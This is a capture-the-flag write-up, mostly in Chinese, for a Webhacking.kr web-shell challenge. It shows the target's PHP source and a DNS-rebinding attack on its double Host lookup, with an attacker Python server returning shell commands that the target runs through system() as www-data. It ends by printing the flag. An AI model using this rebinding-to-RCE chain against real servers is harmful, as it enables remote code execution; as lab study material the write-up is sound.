Webhacking.kr child toctou

Challenge

The page is a web shell whose front end posts commands to a JSON endpoint.

页面是一个 WebShell,前端把命令发到 JSON endpoint。

1
http://webhacking.kr:10020/

前端脚本把输入发到:

1
fetch("/api.php?q=" + escape(text_));

页面显示提示符 WebShell:/ $,并把响应文本追加到终端。

Analysis

api.php 不直接执行命令,而是先校验 Host,再用 Host 去请求同端口的 /cmd/<q>.txt,最后把该文件的内容当命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cmd = $_GET['q'];
if($cmd){
if(count(explode(":",$_SERVER['HTTP_HOST'])) > 1) $_SERVER['HTTP_HOST'] = explode(":",$_SERVER['HTTP_HOST'])[0];
if(!preg_match("/^[a-z0-9-.]+$/",$_SERVER['HTTP_HOST'])) exit("ahh nice try");
if(($_SERVER['HTTP_HOST'] !== "webhacking.kr") && (gethostbyname($_SERVER['HTTP_HOST']) !== "202.182.106.159")) exit("Something wrong");
sleep(1);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://{$_SERVER['HTTP_HOST']}:10020/cmd/".rawurlencode($cmd).".txt");
$response = curl_exec($ch);
if(HTTP code !== 200) echo HELP;
else system($response);
}
?>

关键点是 Host 被解析两次:gethostbyname() 解析一次做校验,curl 再解析一次取内容,中间还夹着 sleep(1)。这就是 TOCTOU。

现场实测分支:

1
2
3
4
5
Host: webhacking.kr            -> 走 `!==` 短路,校验通过,curl 请求自己 → 命中 /cmd 白名单
Host: WEBHACKING.KR -> ahh nice try(正则只允许小写)
Host: 127.0.0.1 -> Something wrong
Host: evil.example.com -> Something wrong
Host: 202.182.106.159.nip.io -> 校验通过(目标能解析外部域名并解析到 202.182.106.159)

/cmd/ 目录是预置白名单(ls.txt、cat api.php.txt、cat index.php.txt),?q=cat flag.php 会返回 only "ls", "cat api.php", "cat index.php" allowed。

Solution

链条:让 Host 在校验时解析到 202.182.106.159(目标自己),在 curl 请求时解析到攻击者服务器,从而让 http://<Host>:10020/cmd/<q>.txt 返回任意命令文本,被 system() 执行。

Host 必须匹配 /^[a-z0-9-.]+$/,所以使用符合格式的 DNS rebinding 域名。草稿记录 rbndr.us 在该目标上两种 IP 顺序都返回 Something wrong;1u.ms 的 make-<ip1>-rebind-<ip2>-rr.1u.ms 可用。

攻击者侧是一台公网机器,监听 :10020,对任意 /cmd/<q>.txt 返回要执行的命令文本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import BaseHTTPRequestHandler, HTTPServer

COMMAND = b'cat flag.php; echo "=== id ==="; id'

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = COMMAND
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)

HTTPServer(("0.0.0.0", 10020), Handler).serve_forever()

命令文本:

1
cat flag.php; echo "=== id ==="; id

然后反复请求目标,Host 用 rebinding 域名(<attacker-hex> 是攻击者公网 IP 的十六进制):

1
2
GET /api.php?q=ls HTTP/1.1
Host: make-202.182.106.159-rebind-<attacker-hex>-rr.1u.ms

gethostbyname() 拿到 202.182.106.159 时校验通过,curl 拿到攻击者 IP 时就取回我们的命令文本并执行。返回:

1
2
3
4
5
<?php
$flag = "FLAG{***************************************}";
?>
=== id ===
uid=33(www-data) gid=33(www-data) groups=33(www-data)

即 cat flag.php 读出 flag,并确认以 www-data 身份 RCE。

FLAG{sorry-i-forgor-what-server-name-meaning}